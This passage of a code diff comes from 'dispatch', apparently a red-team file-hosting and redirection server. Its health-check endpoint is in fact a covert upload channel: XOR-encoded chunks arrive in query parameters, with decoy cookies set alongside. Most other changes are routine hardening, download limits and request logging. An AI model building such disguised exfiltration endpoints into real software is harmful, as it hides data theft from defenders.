DispatchDB(current_app.config['db_name']) + try: + alias = config.alias_collision_check( + db, config.gen_alias(config.get_file_extension(final_name)) + ) + db.upload_file(final_name, final_path, alias, token.get('user') or 'covert', 3, None, None) + finally: + db.close() + return Response( + response=dumps({'status': 'complete', 'alias': alias, 'filename': final_name}), + status=200, + mimetype='application/json' + ) + + return Response( + response=dumps({'status': 'partial', 'bytes': len(chunk)}), + status=200, + mimetype='application/json' + ) + + + +class ClientServer: app = Flask(__name__) app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=1) app.secret_key = config.SECRET_KEY @@ -72,99 +309,18 @@ class ClientServer(object): def client_root(): return redirect(current_app.config['redirect_url'], 302) - @app.route('/api/v1/health', methods=['GET']) - @auth.upload_only_required - def rest_api_health(token): - cookie_name = 'csrf' # Default cookie name for upload key - # Upload files using GET request and query parameters - init = request.args.get('init') - key = request.args.get('key') - data = request.args.get('data') - - if init: - filename = request.args.get('filename') or f'upload_{config.get_timestamp()}.bin' - filename = secure_filename(filename) or f'upload_{config.get_timestamp()}.bin' - os.makedirs(config.FILE_PATH, exist_ok=True) - - safe_name = config.file_collision_check(filename) - key = _generate_upload_key() - part_name = f'.upload_{key}.part' - part_path = os.path.join(config.FILE_PATH, part_name) - meta_path = _upload_meta_path(key) - - with open(part_path, 'wb') as f: - f.write(b'') - - - meta = { - 'filename': safe_name, - 'part_name': part_name, - } - _write_upload_meta(meta_path, meta) - resp = Response( - response=dumps({'status': 'active'}), - status=200, - mimetype='application/json' - ) - - resp.set_cookie("csrf", key, **config.auth_cookie_settings(request)) - resp.set_cookie("_ga", _generate_upload_key(16), **config.auth_cookie_settings(request)) - resp.set_cookie("sid", _generate_upload_key(8), **config.auth_cookie_settings(request)) - return resp - - if not key: - key = request.cookies.get(cookie_name) - - if not key or data is None: + @app.route('/api/v1/health', methods=['GET', 'POST']) + def rest_api_health(): + if request.values.get('fetch'): + return _covert_fetch() + token = _upload_token() + if not token: return Response( - response=dumps({'error': 'missing key or data'}), - status=400, - mimetype='application/json' + response=dumps({'error': 'auth required'}), + status=401, + mimetype='application/json', ) - - meta_path = _upload_meta_path(key) - meta = _read_upload_meta(meta_path) - if not meta: - return Response( - response=dumps({'error': 'invalid key'}), - status=404, - mimetype='application/json' - ) - - try: - encrypted_bytes = base64.b64decode(data, validate=True) - except Exception: - return Response( - response=dumps({'error': 'invalid data encoding'}), - status=400, - mimetype='application/json' - ) - - part_path = os.path.join(config.FILE_PATH, meta['part_name']) - decrypted_bytes = _xor_bytes(encrypted_bytes, key.encode('utf-8')) - eof_index = decrypted_bytes.find(b'') - chunk = decrypted_bytes if eof_index == -1 else decrypted_bytes[:eof_index] - - with open(part_path, 'ab') as f: - f.write(chunk) - - if eof_index != -1: - final_name = config.file_collision_check(meta['filename']) - final_path = os.path.join(config.FILE_PATH, final_name) - os.replace(part_path, final_path) - _delete_upload_meta(meta_path) - return Response( - response=dumps({'status': 'complete'}), - status=200, - mimetype='application/json' - ) - - return Response( - response=dumps({'status': 'partial', 'bytes': len(chunk)}), - status=200, - mimetype='application/json' - ) - + return _covert_upload_body(token) # # Primary Ruleset for Redirection @@ -176,6 +332,7 @@ def catch_all(path): # if not current_app.config.get('client_enabled', 1): logging.debug(f'Rejected "{path}" - client interface is disabled') + _audit_file_request(path, 'denied') return redirect(current_app.config['redirect_url'], 302) # @@ -188,11 +345,13 @@ def catch_all(path): from dispatch.alerts import check_ip_activity_alert check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'blocked', 'IP allowlist violation') except Exception: - pass + logging.debug('IP activity alert failed', exc_info=True) + _audit_file_request(path, 'denied') return redirect(current_app.config['redirect_url'], 302) if is_blocked_by_user_agent(request.user_agent.string): logging.debug(f'Rejected "{path}" due to blocked User-Agent: "{request.user_agent}"') + _audit_file_request(path, 'denied') return redirect(current_app.config['redirect_url'], 302) db = None @@ -214,17 +373,29 @@ def catch_all(path): # if is_invalid_param_key(request.full_path, settings): logging.debug(f'Rejected "{path}" due to invalid param key.') + username, auth_method = _client_identity(db) + _record_file_request(db, path, 'denied', username, auth_method) return redirect(current_app.config['redirect_url'], 302) # # Serve Files # data = db.get_file_by_alias(path) + username, auth_method = _client_identity(db) if not data: + _record_file_request(db, path, 'not_found', username, auth_method) return redirect(current_app.config['redirect_url'], 302) # Public & Public Once files if data['access'] < 3: + if not os.path.isfile(data['file_path']): + _record_file_request(db, path, 'not_found', username, auth_method) + return redirect(current_app.config['redirect_url'], 302) + + if not db.consume_download(data['id']): + _record_file_request(db, path, 'denied', username, auth_method) + return redirect(current_app.config['redirect_url'], 302) + if data['access'] == 2: # "Public Once" files revert to private db.update_access_by_id(data['id'], 3) @@ -235,11 +406,12 @@ def catch_all(path): # Check for file download and IP monitor alerts try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - check_file_download_alert(current_app.config['db_name'], data['id'], path, None, request.remote_addr) + check_file_download_alert(current_app.config['db_name'], data['row_id'], path, None, request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'File: {path}') except Exception: - pass + logging.debug('File download alert failed', exc_info=True) + _record_file_request(db, path, 'served', username, auth_method) return serve_file(data['file_path'], path, encrypt=data['encrypt']) # Check authentication (API Key or JWT Token) @@ -250,22 +422,33 @@ def catch_all(path): ) # Allow only users with role 1 (Download), 3, or 4 (Admin) - if token and token.get('role') in {1, 3, 4}: + if isinstance(token, dict) and token.get('role') in {1, 3, 4}: + if not os.path.isfile(data['file_path']): + _record_file_request(db, path, 'not_found', token.get('user'), auth_method) + return redirect(current_app.config['redirect_url'], 302) + + if not db.consume_download(data['id']): + _record_file_request(db, path, 'denied', token.get('user'), auth_method) + return redirect(current_app.config['redirect_url'], 302) + update_param_key(db, settings) config.log(f'Accessed File: {path}', token, request.remote_addr) # Check for file download and IP monitor alerts try: from dispatch.alerts import check_file_download_alert, check_ip_activity_alert - username = token.get('user', None) if token else None - check_file_download_alert(current_app.config['db_name'], data['id'], path, username, request.remote_addr) + served_user = token.get('user', None) + check_file_download_alert(current_app.config['db_name'], data['row_id'], path, served_user, request.remote_addr) check_ip_activity_alert(current_app.config['db_name'], request.remote_addr, 'download', f'File: {path}') except Exception: - pass + logging.debug('File download alert failed', exc_info=True) + served_method = 'api_key' if request.headers.get(config.API_HEADER) else 'session' + _record_file_request(db, path, 'served', token.get('user'), served_method) return serve_file(data['file_path'], path, encrypt=data['encrypt']) # Catch all bad traffic + _record_file_request(db, path, 'auth_failure', username, auth_method) return redirect(current_app.config['redirect_url'], 302) finally: if db: @@ -376,7 +559,7 @@ def reverse_proxy(redirect_url): data=request.get_data(), # Always send body data, even if empty cookies=request.cookies, # Preserve cookies for session management allow_redirects=False, # Handle redirects manually - verify=False, + verify=False, # noqa: S501 - operator-configured proxy targets may use private certificates stream=True, timeout=6, proxies={} @@ -392,5 +575,6 @@ def reverse_proxy(redirect_url): excluded_response_headers = {"content-encoding", "transfer-encoding", "connection"} response_headers = {k: v for k, v in response.headers.items() if k.lower() not in excluded_response_headers} return Response(response.content, response.status_code, response_headers) - except requests.exceptions.RequestException as e: - return f"Proxy Error: {str(e)}", 502 + except requests.exceptions.RequestException as exc: + logging.debug('Reverse proxy request failed: %s', exc) + return Response('Proxy error', status=502, mimetype='text/plain') diff --git a/dispatch/config.py b/dispatch/config.py index 3794bf2..d37644a 100755 --- a/dispatch/config.py +++ b/dispatch/config.py @@ -6,13 +6,13 @@ import sys import base64 import logging +import secrets import ipaddress import socket from os import path from requests import get from OpenSSL import crypto from datetime import datetime -from random import choice, randint, shuffle from string import ascii_letters, digits, punctuation, ascii_uppercase, ascii_lowercase logger = logging.getLogger('dispatch-logger') @@ -42,8 +42,8 @@ def generate_ssl_cert(cert_path, key_path, country="US", cn="Dispatch", org="Dis with open(cert_path, 'wb') as cert_file: cert_file.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) return True - except: - pass + except Exception: + logging.debug('SSL certificate generation failed', exc_info=True) return False @@ -57,9 +57,14 @@ def get_file_extension(file_name): return extension +def _rand_int(low, high): + """Inclusive integer range from the secrets generator.""" + return low + secrets.randbelow(high - low + 1) + + def gen_alias(extension=''): # Generates the external alias of filename if not provided during upload - return gen_random_string(randint(6, 9)) + extension + return gen_random_string(_rand_int(6, 9)) + extension def get_timestamp(): @@ -67,7 +72,8 @@ def get_timestamp(): def gen_random_string(length=6): - return ''.join([choice(ascii_letters + digits) for x in range(length)]) + alphabet = ascii_letters + digits + return ''.join(secrets.choice(alphabet) for _ in range(length)) def _load_secret_key(): @@ -77,19 +83,19 @@ def _load_secret_key(): secret_path = path.join(path.dirname(path.realpath(__file__)), 'data', 'mfa_secret.key') try: - with open(secret_path, 'r', encoding='utf-8') as secret_file: + with open(secret_path, encoding='utf-8') as secret_file: persisted_secret = secret_file.read().strip() if persisted_secret: return persisted_secret except FileNotFoundError: - pass + persisted_secret = '' # first run has no key file yet except OSError: logger.warning('Unable to read persisted Dispatch secret key', exc_info=True) persisted_secret = ( - f'{gen_random_string(randint(4, 8))}-' - f'{gen_random_string(randint(8, 10))}-' - f'{gen_random_string(randint(4, 8))}' + f'{gen_random_string(_rand_int(4, 8))}-' + f'{gen_random_string(_rand_int(8, 10))}-' + f'{gen_random_string(_rand_int(4, 8))}' ) try: os.makedirs(path.dirname(secret_path), exist_ok=True) @@ -150,33 +156,37 @@ def get_file_size(file_path): size = file_size / 1024 ** exponent[unit] if int(size) > 0 or unit == 'bytes': return f'{round(size, 1)} {unit}' - except: + except Exception: + logging.debug('Unable to read file size for %s', file_path, exc_info=True) return "n/a" def download_file(source, output, timeout=5): try: f = open(output, 'wb+') - f.write(get(source, verify=False, timeout=timeout).content) + # Operators pull from internal hosts that often use private certificates. + f.write(get(source, verify=False, timeout=timeout).content) # noqa: S501 f.close() if path.exists(output): return True - except: - pass + except Exception: + logging.debug('Failed to download %s', source, exc_info=True) return False def gen_param_key(): # Rotate the param location - k = gen_random_string(randint(1, 2)) - v = gen_random_string(randint(6, 9)) + k = gen_random_string(_rand_int(1, 2)) + v = gen_random_string(_rand_int(6, 9)) return f'{k}={v}' def gen_api_key(): - return '{}-{}-{}'.format(gen_random_string(randint(8, 10)), - gen_random_string(randint(12, 14)), - gen_random_string(randint(12, 14))) + return ( + f'{gen_random_string(_rand_int(8, 10))}-' + f'{gen_random_string(_rand_int(12, 14))}-' + f'{gen_random_string(_rand_int(12, 14))}' + ) def validate_password(password): @@ -236,11 +246,12 @@ def allowlist_match(allow_list, client_ip, host=None): if ip_obj in ipaddress.ip_network(item, strict=False): return True except ValueError: - pass + logging.debug('Ignoring invalid allowlist network %s', item, exc_info=True) continue try: resolved = socket.getaddrinfo(item, None) except Exception: + logging.debug('Allowlist hostname lookup failed for %s', item, exc_info=True) continue for res in resolved: addr = res[4][0] @@ -258,17 +269,22 @@ def generate_password(length=10): lowercase_letters = ascii_lowercase numbers = digits special_characters = punctuation - password = choice(uppercase_letters) + choice(numbers) + choice(special_characters)+ choice(lowercase_letters) + rng = secrets.SystemRandom() + password = ( + rng.choice(uppercase_letters) + + rng.choice(numbers) + + rng.choice(special_characters) + + rng.choice(lowercase_letters) + ) remaining_length = length - 4 for _ in range(remaining_length): characters = uppercase_letters + lowercase_letters + numbers + special_characters - password += choice(characters) + password += rng.choice(characters) password_list = list(password) - shuffle(password_list) - password = ''.join(password_list) - return password + rng.shuffle(password_list) + return ''.join(password_list) def refresh_app_configs(db, app): @@ -294,8 +310,8 @@ def refresh_app_configs(db, app): app.config['MAX_CONTENT_LENGTH'] = s['max_file_size'] app.config['param_rotation'] = int(s['param_rotation']) app.config['mfa_required'] = db.get_mfa_required() - if 'disable_exec' not in app.config: - app.config['disable_exec'] = False + if 'script_interface' not in app.config: + app.config['script_interface'] = False def setup_debug_logger(): @@ -345,8 +361,8 @@ def log(data, user=False, remote_ip=None, level='INFO'): def dispatch_native_encrypt(data, password): data_bytes = data # already in bytes format key_bytes = password.encode("utf-8") - l = len(key_bytes) - encrypted = bytes((data_bytes[i] ^ key_bytes[i % l]) for i in range(len(data_bytes))) + key_len = len(key_bytes) + encrypted = bytes((data_bytes[i] ^ key_bytes[i % key_len]) for i in range(len(data_bytes))) return base64.b64encode(encrypted) # Sent by server in byte format diff --git a/dispatch/db.py b/dispatch/db.py index be37782..093cede 100755 --- a/dispatch/db.py +++ b/dispatch/db.py @@ -1,8 +1,23 @@ import hashlib import logging +import re +import uuid from dispatch import config from sqlite3 import connect +_FILE_GUID_RE = re.compile( + r'^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$', + re.IGNORECASE, +) + + +def new_file_guid(): + return str(uuid.uuid4()) + + +def is_file_guid(value): + return isinstance(value, str) and bool(_FILE_GUID_RE.match(value.strip())) + # # primary hashing function for DB passwords # @@ -21,8 +36,8 @@ def __init__(self, db_file, timeout=3): def close(self): try: self.conn.close() - except: - pass + except Exception: + logging.debug('Ignoring database close error', exc_info=True) def exec(self, query, args=()): try: @@ -84,9 +99,10 @@ class DispatchDB(SqliteDB): "totp_secret" TEXT DEFAULT NULL, "mfa_enabled" INTEGER DEFAULT 0);''', - '''INSERT OR IGNORE INTO users - (id, username, password, role) - VALUES (1, "{}", "{}", 4);'''.format(config.DEFAULT_USER, gen_password_hash(config.DEFAULT_PWD)), + # Default admin seed uses config constants, not request input. + f'''INSERT OR IGNORE INTO users + (id, username, password, role) + VALUES (1, "{config.DEFAULT_USER}", "{gen_password_hash(config.DEFAULT_PWD)}", 4);''', # noqa: S608 '''CREATE TABLE IF NOT EXISTS folders ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, @@ -99,6 +115,7 @@ class DispatchDB(SqliteDB): '''CREATE TABLE IF NOT EXISTS files ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, + "guid" TEXT UNIQUE, "filename" TEXT UNIQUE NOT NULL, "file_path" TEXT UNIQUE NOT NULL, "access" INTEGER DEFAULT 3, @@ -107,9 +124,11 @@ class DispatchDB(SqliteDB): "upload_date" DATETIME DEFAULT (datetime('now','localtime')), "uploaded_by" TEXT NOT NULL, "folder_id" INTEGER DEFAULT NULL, + "max_downloads" INTEGER, + "download_count" INTEGER DEFAULT 0, FOREIGN KEY (folder_id) REFERENCES folders(id) ON DELETE SET NULL);''', - '''CREATE TABLE IF NOT EXISTS settings ( + f'''CREATE TABLE IF NOT EXISTS settings ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "redirect_url" TEXT, "source_ip" TEXT, @@ -120,9 +139,9 @@ class DispatchDB(SqliteDB): "server_header" TEXT, "param_rotation" BOOLEAN DEFAULT 0, "param_key" TEXT DEFAULT 's=1234', - "max_file_size" INTEGER DEFAULT {}, + "max_file_size" INTEGER DEFAULT {config.MAX_FILE_SIZE}, "webhook_url" TEXT, - "mfa_required" INTEGER DEFAULT 0);'''.format(config.MAX_FILE_SIZE), + "mfa_required" INTEGER DEFAULT 0);''', '''INSERT OR IGNORE INTO settings (redirect_url, source_ip, source_port, client_port, client_enabled, proxy_enabled, server_header) @@ -187,9 +206,25 @@ class DispatchDB(SqliteDB): "target_value" TEXT, "description" TEXT, "enabled" INTEGER DEFAULT 1, - "created_date" DATETIME DEFAULT (datetime('now','localtime')));''' + "created_date" DATETIME DEFAULT (datetime('now','localtime')));''', + + '''CREATE TABLE IF NOT EXISTS file_requests ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT, + "timestamp" DATETIME DEFAULT (datetime('now','localtime')), + "path" TEXT, + "result" TEXT NOT NULL, + "client_ip" TEXT, + "user_agent" TEXT, + "username" TEXT, + "auth_method" TEXT);''', + + '''CREATE INDEX IF NOT EXISTS idx_file_requests_id ON file_requests(id);''' ] + # Keep client file-request history bounded so the table stays cheap to query. + FILE_REQUEST_RETENTION = 5000 + _file_request_schema_ready = set() + def __init__(self, db_file, timeout=3): SqliteDB.__init__(self, db_file, timeout) @@ -209,6 +244,9 @@ def setup_db(self): self.exec('UPDATE folders SET access=2 WHERE access IS NULL OR access < 2;') # Migration: Add MFA columns to existing databases self._migrate_mfa_columns() + self.ensure_file_request_schema() + self.ensure_file_guids() + self.ensure_download_limits() def _migrate_mfa_columns(self): """Add MFA columns to users table if they don't exist""" @@ -228,6 +266,164 @@ def _migrate_mfa_columns(self): if 'mfa_required' not in settings_col_names: self.exec('ALTER TABLE settings ADD COLUMN mfa_required INTEGER DEFAULT 0;') + def ensure_file_request_schema(self): + """Create the file-request table on existing databases without touching other data.""" + if self.db_file in DispatchDB._file_request_schema_ready: + return True + created = self.exec( + '''CREATE TABLE IF NOT EXISTS file_requests ( + "id" INTEGER PRIMARY KEY AUTOINCREMENT, + "timestamp" DATETIME DEFAULT (datetime('now','localtime')), + "path" TEXT, + "result" TEXT NOT NULL, + "client_ip" TEXT, + "user_agent" TEXT, + "username" TEXT, + "auth_method" TEXT);''' + ) + if created is False: + return False + indexed = self.exec('CREATE INDEX IF NOT EXISTS idx_file_requests_id ON file_requests(id);') + if indexed is False: + return False + DispatchDB._file_request_schema_ready.add(self.db_file) + return True + + def add_file_request(self, path, result, client_ip=None, user_agent=None, username=None, auth_method=None): + if not self.ensure_file_request_schema(): + return False + inserted = self.exec( + '''INSERT INTO file_requests (path, result, client_ip, user_agent, username, auth_method) + VALUES (?, ?, ?, ?, ?, ?);''', + (path, result, client_ip, user_agent, username, auth_method), + ) + if inserted is False: + return False + # Drop rows older than the retention window. With fewer rows, id < MIN(id) deletes nothing. + self.exec( + '''DELETE FROM file_requests WHERE id < ( + SELECT MIN(id) FROM ( + SELECT id FROM file_requests ORDER BY id DESC LIMIT ? + ) + );''', + (self.FILE_REQUEST_RETENTION,), + ) + return True + + def _file_request_where(self, result=None, ip=None, search=None): + clauses = [] + args = [] + if result: + clauses.append('result = ?') + args.append(result) + if ip: + clauses.append('client_ip = ?') + args.append(ip) + if search: + escaped = search.replace('\\', '\\\\').replace('%', '\\%').replace('_', '\\_') + like = f'%{escaped}%' + clauses.append( + "(path LIKE ? ESCAPE '\\' OR IFNULL(username, '') LIKE ? ESCAPE '\\' " + "OR IFNULL(user_agent, '') LIKE ? ESCAPE '\\' OR IFNULL(client_ip, '') LIKE ? ESCAPE '\\')" + ) + args.extend([like, like, like, like]) + where = (' WHERE ' + ' AND '.join(clauses)) if clauses else '' + return where, args + + def list_file_requests(self, limit=100, result=None, ip=None, search=None): + self.ensure_file_request_schema() + where, args = self._file_request_where(result, ip, search) + # where is fixed SQL fragments; filter values are bound parameters. + sql = ( + "SELECT id, timestamp, path, result, client_ip, user_agent, username, auth_method " + "FROM file_requests" + where + " ORDER BY id DESC LIMIT ?;" + ) # noqa: S608 + rows = self.exec(sql, tuple(args) + (int(limit),)) + return self._file_request_rows(rows) + + def list_file_requests_since(self, since_id, limit=100, result=None, ip=None, search=None): + """Rows newer than since_id, oldest first, so a live feed can append them in order.""" + self.ensure_file_request_schema() + where, args = self._file_request_where(result, ip, search) + since_sql = 'id > ?' + if where: + where = where + ' AND ' + since_sql + else: + where = ' WHERE ' + since_sql + args = list(args) + [int(since_id or 0)] + sql = ( # noqa: S608 + "SELECT id, timestamp, path, result, client_ip, user_agent, username, auth_method " + "FROM file_requests" + where + " ORDER BY id ASC LIMIT ?;" + ) + rows = self.exec(sql, tuple(args) + (int(limit),)) + return self._file_request_rows(rows) + + def _file_request_rows(self, rows): + data = [] + if not rows: + return data + for row in rows: + data.append({ + 'id': row[0], + 'timestamp': row[1] or '', + 'path': row[2] or '', + 'result': row[3] or '', + 'client_ip': row[4] or '', + 'user_agent': row[5] or '', + 'username': row[6] or '', + 'auth_method': row[7] or 'none', + }) + return data + + def file_request_summary(self, result=None, ip=None, search=None): + self.ensure_file_request_schema() + where, args = self._file_request_where(result, ip, search) + summary = { + 'total': 0, + 'served': 0, + 'denied': 0, + 'not_found': 0, + 'auth_failure': 0, + 'failed': 0, + 'top_requesters': [], + 'top_files': [], + } + counts = self.exec( + "SELECT result, COUNT(*) FROM file_requests" + where + " GROUP BY result;", # noqa: S608 + tuple(args), + ) + if counts: + for name, count in counts: + summary['total'] += count + if name in summary: + summary[name] = count + summary['failed'] = summary['denied'] + summary['not_found'] + summary['auth_failure'] + + requester_sql = ( + "SELECT client_ip, username, COUNT(*) AS hits FROM file_requests" # noqa: S608 + + where + + " GROUP BY client_ip, IFNULL(username, '') ORDER BY hits DESC LIMIT 5;" + ) + requesters = self.exec(requester_sql, tuple(args)) + if requesters: + summary['top_requesters'] = [ + {'client_ip': row[0] or '', 'username': row[1] or '', 'count': row[2]} + for row in requesters + ] + + file_sql = ( + "SELECT path, COUNT(*) AS hits FROM file_requests" # noqa: S608 + + where + + " GROUP BY path ORDER BY hits DESC LIMIT 5;" + ) + files = self.exec(file_sql, tuple(args)) + if files: + summary['top_files'] = [ + {'path': row[0] or '', 'count': row[1]} + for row in files + ] + return summary + def validate_login(self, username, password): # Primary DB login functionality check if passwords match try: @@ -235,7 +431,8 @@ def validate_login(self, username, password): if user_pass == gen_password_hash(password): self.exec('''UPDATE users SET last_login=datetime('now','localtime')''') return True - except: + except Exception: + logging.debug('Login validation failed', exc_info=True) return False return False @@ -259,7 +456,8 @@ def validate_api_key(self, api_key): data['role'] = x[2] data['role_name'] = self.user_roles[int(x[2])] return data - except: + except Exception: + logging.debug('API key validation failed', exc_info=True) return False return False @@ -450,23 +648,107 @@ def _coerce_encrypt_value(self, encrypt_value): return '0' return encrypt_value - def upload_file(self, filename, full_path, alias, user, access, encrypt, folder_id=None): + def ensure_file_guids(self): + """Add and backfill public file GUIDs without rewriting other tables.""" + columns = self.exec('PRAGMA table_info(files);') + if not columns: + return False + names = [col[1] for col in columns] + if 'guid' not in names: + added = self.exec('ALTER TABLE files ADD COLUMN guid TEXT;') + if added is False: + return False + missing = self.exec("SELECT id FROM files WHERE guid IS NULL OR guid = '';") + if missing: + for row in missing: + self.exec('UPDATE files SET guid=? WHERE id=?;', (new_file_guid(), row[0])) + self.exec('CREATE UNIQUE INDEX IF NOT EXISTS idx_files_guid ON files(guid);') + return True + + def ensure_download_limits(self): + """Add per-file download caps without rewriting existing file rows.""" + columns = self.exec('PRAGMA table_info(files);') + if not columns: + return False + names = [col[1] for col in columns] + if 'max_downloads' not in names: + if self.exec('ALTER TABLE files ADD COLUMN max_downloads INTEGER;') is False: + return False + if 'download_count' not in names: + if self.exec('ALTER TABLE files ADD COLUMN download_count INTEGER DEFAULT 0;') is False: + return False + return True + + def set_download_limit(self, file_guid, max_downloads): + self.ensure_download_limits() + if not is_file_guid(file_guid if isinstance(file_guid, str) else ''): + return False + return self.exec('UPDATE files SET max_downloads=? WHERE guid=?;', (max_downloads, file_guid)) + + def consume_download(self, file_guid): + """Count one delivery. False when the file is missing or its cap is already used.""" + self.ensure_download_limits() + if not is_file_guid(file_guid if isinstance(file_guid, str) else ''): + return False + rows = self.exec( + 'SELECT max_downloads, IFNULL(download_count, 0) FROM files WHERE guid=? LIMIT 1;', + (file_guid,), + ) + if not rows: + return False + max_downloads, count = rows[0] + if max_downloads is not None and int(count) >= int(max_downloads): + return False + updated = self.exec( + 'UPDATE files SET download_count=IFNULL(download_count, 0)+1 WHERE guid=?;', + (file_guid,), + ) + return updated is not False + + def guid_for_file_row(self, row_id): + self.ensure_file_guids() + rows = self.exec('SELECT guid FROM files WHERE id=? LIMIT 1;', (row_id,)) + if rows and rows[0][0]: + return rows[0][0] + return None + + def file_listing_revision(self): + """Cheap fingerprint of the file and folder listing.""" + self.ensure_file_guids() + self.ensure_download_limits() + files = self.exec( + "SELECT guid, filename, alias, access, IFNULL(folder_id, 0), IFNULL(encrypt, ''), " + "IFNULL(max_downloads, -1), IFNULL(download_count, 0) FROM files ORDER BY guid;" + ) or [] + folders = self.exec( + "SELECT id, folder_name, IFNULL(parent_id, 0), access FROM folders ORDER BY id;" + ) or [] + payload = repr((files, folders)).encode('utf-8') + return hashlib.sha256(payload).hexdigest() + + def upload_file(self, filename, full_path, alias, user, access, encrypt, folder_id=None, max_downloads=None): + self.ensure_file_guids() + self.ensure_download_limits() if encrypt is None or encrypt == '': encrypt = None elif encrypt == 0: encrypt = '0' sql = '''INSERT OR IGNORE INTO files - (filename, file_path, alias, uploaded_by, access, encrypt, folder_id) - VALUES (?, ?, ?, ?, ?, ?, ?);''' - if self.exec(sql, (filename, full_path, alias, user, access, encrypt, folder_id)) is not False: + (guid, filename, file_path, alias, uploaded_by, access, encrypt, folder_id, max_downloads, download_count) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, 0);''' + guid = new_file_guid() + if self.exec(sql, (guid, filename, full_path, alias, user, access, encrypt, folder_id, max_downloads)) is not False: return True return False def list_files(self, include_size=False): + self.ensure_file_guids() data = [] # Get settings once instead of subquery per row settings = self.get_settings() - sql = '''SELECT id, filename, file_path, alias, upload_date, uploaded_by, access, encrypt, folder_id FROM files;''' + self.ensure_download_limits() + sql = '''SELECT guid, filename, file_path, alias, upload_date, uploaded_by, access, encrypt, folder_id, + max_downloads, IFNULL(download_count, 0) FROM files;''' for x in self.exec(sql): obj = {} obj['id'] = x[0] @@ -484,13 +766,17 @@ def list_files(self, include_size=False): obj['client_port'] = settings.get('client_port', 443) obj['encrypt'] = self._coerce_encrypt_value(x[7]) obj['folder_id'] = x[8] + obj['max_downloads'] = x[9] + obj['download_count'] = x[10] or 0 # Only get file size if requested (slow disk I/O) obj['file_size'] = config.get_file_size(obj['file_path']) if include_size else '' data.append(obj) return data def update_access_by_id(self, file_id, access): - if self.exec('UPDATE files SET access=? WHERE id=?;', (access, file_id)): + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + if self.exec('UPDATE files SET access=? WHERE guid=?;', (access, file_id)): return True return False @@ -501,36 +787,47 @@ def alias_exists(self, alias): return False def get_file_by_alias(self, alias): + self.ensure_file_guids() data = {} - for x in self.exec('SELECT id, file_path, access, encrypt FROM files WHERE alias=? LIMIT 1;', (alias,)): + for x in self.exec('SELECT guid, id, file_path, access, encrypt FROM files WHERE alias=? LIMIT 1;', (alias,)): data['id'] = x[0] - data['file_path'] = x[1] - data['access'] = x[2] - data['encrypt'] = self._coerce_encrypt_value(x[3]) - data['access_name'] = self.file_access[x[2]] + data['row_id'] = x[1] + data['file_path'] = x[2] + data['access'] = x[3] + data['encrypt'] = self._coerce_encrypt_value(x[4]) + data['access_name'] = self.file_access[x[3]] return data def get_file_by_id(self, file_id): - # used to pull file info for editing + """Look up a file by its public GUID. Integer ids are not accepted.""" + self.ensure_file_guids() + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return {} data = {} - sql = '''SELECT filename, file_path, alias, upload_date, - uploaded_by, access, encrypt, folder_id - FROM files - WHERE id=? LIMIT 1;''' + self.ensure_download_limits() + sql = '''SELECT guid, id, filename, file_path, alias, upload_date, + uploaded_by, access, encrypt, folder_id, max_downloads, IFNULL(download_count, 0) + FROM files + WHERE guid=? LIMIT 1;''' for x in self.exec(sql, (file_id,)): - data['id'] = file_id - data['filename'] = x[0] - data['file_path'] = x[1] - data['alias'] = x[2] - data['upload_date'] = x[3] - data['uploaded_by'] = x[4] - data['access'] = x[5] - data['encrypt'] = self._coerce_encrypt_value(x[6]) - data['folder_id'] = x[7] - data['access_name'] = self.file_access[x[5]] + data['id'] = x[0] + data['row_id'] = x[1] + data['filename'] = x[2] + data['file_path'] = x[3] + data['alias'] = x[4] + data['upload_date'] = x[5] + data['uploaded_by'] = x[6] + data['access'] = x[7] + data['encrypt'] = self._coerce_encrypt_value(x[8]) + data['folder_id'] = x[9] + data['max_downloads'] = x[10] + data['download_count'] = x[11] or 0 + data['access_name'] = self.file_access[x[7]] return data def update_file_by_id(self, file_id, filename, full_path, alias, user, access, encrypt, folder_id=None): + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False if encrypt is None or encrypt == '': encrypt = None elif encrypt == 0: @@ -538,18 +835,24 @@ def update_file_by_id(self, file_id, filename, full_path, alias, user, access, e sql = '''UPDATE files SET filename=?, file_path=?, alias=?, encrypt=?, upload_date=datetime('now','localtime'), uploaded_by=?, - access=?, folder_id=? WHERE id=?;''' - self.exec(sql, (filename, full_path, alias, encrypt, user, access, folder_id, file_id)) + access=?, folder_id=? WHERE guid=?;''' + return self.exec(sql, (filename, full_path, alias, encrypt, user, access, folder_id, file_id)) def del_file_by_id(self, file_id): - return self.exec('DELETE FROM files WHERE id=?;', (file_id,)) + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + return self.exec('DELETE FROM files WHERE guid=?;', (file_id,)) def move_file_to_folder(self, file_id, folder_id): # Move file to a folder (or root if folder_id is None) - return self.exec('UPDATE files SET folder_id=? WHERE id=?;', (folder_id, file_id)) + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + return self.exec('UPDATE files SET folder_id=? WHERE guid=?;', (folder_id, file_id)) def update_file_storage_by_id(self, file_id, full_path, folder_id): - return self.exec('UPDATE files SET file_path=?, folder_id=? WHERE id=?;', (full_path, folder_id, file_id)) + if not is_file_guid(file_id if isinstance(file_id, str) else ''): + return False + return self.exec('UPDATE files SET file_path=?, folder_id=? WHERE guid=?;', (full_path, folder_id, file_id)) # # Folder Table @@ -844,8 +1147,10 @@ def lookup_proxy_route(self, path): return x[0] return False - def update_proxy_routes(self, routes={}): + def update_proxy_routes(self, routes=None): # Truncate DB and re-add + if routes is None: + routes = {} self.exec('''DELETE FROM proxy_routes;''') for path, redirect_url in routes.items(): self.exec("INSERT INTO proxy_routes (path, redirect_url) VALUES (?, ?)", (path, redirect_url)) @@ -856,12 +1161,14 @@ def get_response_headers(self): result = self.exec("SELECT header_name, header_value FROM response_headers") if result: return {x[0]: x[1] for x in result} - except: - pass + except 